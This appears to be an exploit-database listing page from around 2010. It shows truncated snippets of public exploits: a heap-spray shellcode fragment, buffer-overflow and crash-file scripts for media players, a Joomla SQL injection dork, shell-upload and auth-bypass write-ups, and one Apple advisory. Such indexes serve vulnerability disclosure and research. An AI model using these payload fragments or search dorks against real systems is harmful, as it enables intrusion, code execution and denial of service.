Quintessential Media Player 5.0.121 - '.m3u' Buffer Overflow

source: https://www.securityfocus.com/bid/42307/info Quintessential Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers may leverage this issue to execute arbitrary code in the context of the application...

Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray

Exploit for windows platform in category remote exploits ================================================================ Advanced File VaulteSellerateControl350.dll Activex Heap Spray ================================================================ // Exploit Title: Advanced File...

Easy Member Pro By Pass Vulnerability

Exploit for php platform in category web applications ===================================== Easy Member Pro By Pass Vulnerability ===================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /...

Advanced File Vault - eSellerateControl350.dll ActiveX HeapSpray

Advanced File Vault - eSellerateControl350.dll ActiveX HeapSpray // Exploit Title: Advanced File VaulteSellerateControl350.dll Activex Heap Spray 0-day // Date: 08-08-2010 // Author: ThE g0bL!N // Version: 0-day // Tested on: xp sp2 var sCode =...

About the security content of Safari 5.0.1 and Safari 4.1.1

About the security content of Safari 5.0.1 and Safari 4.1.1 Last Modified: July 28, 2010 Article: HT4276 Summary This document describes the security content of Safari 5.0.1 and Safari 4.1.1. For the protection of our customers, Apple does not disclose, discuss, or confirm security issues until a...

Advanced File Vault - 'eSellerateControl350.dll' ActiveX HeapSpray

// Exploit Title: Advanced File VaulteSellerateControl350.dll Activex Heap Spray 0-day // Date: 08-08-2010 // Author: ThE g0bL!N // Version: 0-day // Tested on: xp sp2 var sCode = unescape"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +...

Open Cart V0.6.5 + fix by Pass ICH Vulnerability

Exploit for php platform in category web applications ================================================ Open Cart V0.6.5 + fix by Pass ICH Vulnerability ================================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\...

Site Composer Essentials DB Download Vulnerability

Exploit for php platform in category web applications ================================================== Site Composer Essentials DB Download Vulnerability ================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\...

Site Composer Essentials Database Disclosure

==================================================== Site Composer Essentials DB Download Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //...

MediaMonkey 3.2.1.1297 - Denial of Service (PoC)

MediaMonkey 3.2.1.1297 - Denial of Service PoC Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 !/usr/bin/python filename = "crash.mp3" junk = "\x41" 5000 textfile = openfilename , 'w' textfile.writejunk textfile.close...

Mediamonkey 3.2.1.1297 Denial Of Service

Mediamonkey v. 3.2.1.1297 DOS POC vulnerble application link http://www.mediamonkey.com/trialpay tested on XP SP2/3 author abhishek lyall - abhilyllatgmaildotcom !/usr/bin/python filename = "crash.mp3" junk = "\x41" 5000 textfile = openfilename , 'w' textfile.writejunk textfile.close...

Spider player .m3u playlist DOS POC

Exploit for windows platform in category dos / poc =================================== Spider player .m3u playlist DOS POC =================================== Spider player .m3u playlist DOS POC vulnerble application link http://spider-player.com/downloading?file=SpiderPlayer2.4.5Setup.exe tested...

Xmyplay 3.5.1 Denial Of Service

!/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , [email protected] Download : http://us2.un4seen.com/files/xmplay35.zip Tested : Windows XP SP2 fr DATE : 2010-07-31 my $file= "mahboul-3lik00.m3u"; my $junk= "\x41" x 1000000; open$FILE, "$file"; print$FILE $junk; close$FILE; print"exploit created...

EZ-Oscommerce 3.1 Cross Site Request Forgery / Shell Upload

==================================================== EZ-Oscommerce 3.1 Remote File Upload EZ-Oscommerce 3.1 Changer Login et Mot de Passe CSRF Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'...

EZ-Oscommerce 2.1 Cross Site Request Forgery / File Disclosure

==================================================== EZ-Oscommerce 2.1 File Disclosure Vulnerabilities EZ-Oscommerce 2.1 Changer Login et Mot de Passe CSRF Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0...

Cube Cart 3.0.19 Shell Upload

======================================================================= Cube Cart 3.0.19 FCKeditor Remote Upload File Exploit ======================================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 ...

Joomla Beamospetition SQL Injection

Exploit Title : Joomla "combeamospetition" Sql Injection Vulnerability Date : 29 - 7 - 2010 Author : Forza-Dz Vendor : http://code.joomla.org/gf/project/beamospetition/frs/ Version : All Versions Tested on : Win Sp2 and Mc Dork = inurl:"combeamospetition" --- SQL Injection Vulenrability --- SQL...

Jaangle 0.98e.971 - Denial of Service

Jaangle 0.98e.971 - Denial of Service !/usr/bin/perl jaangle 0.98e.971 Author: s-dz , [email protected] Download : http://www.jaangle.com/files/jsetup.exe Tested : Windows XP SP2 fr DATE : 2010-08-02 thanks TCT , DGM8 Exploit-DB Notes: 0012B448 00410041 A.A. jaangle.00410041 0012B44C 00410041 A.A...

Digistore Ecommerce V4.0 FCKeditor Remote Upload File / File Disclosure

Exploit for php platform in category web applications ======================================================================= Digistore Ecommerce V4.0 FCKeditor Remote Upload File / File Disclosure =======================================================================...

After Shopping Cart Backup Dump Vulnerability

Exploit for php platform in category web applications ============================================= After Shopping Cart Backup Dump Vulnerability ============================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, ...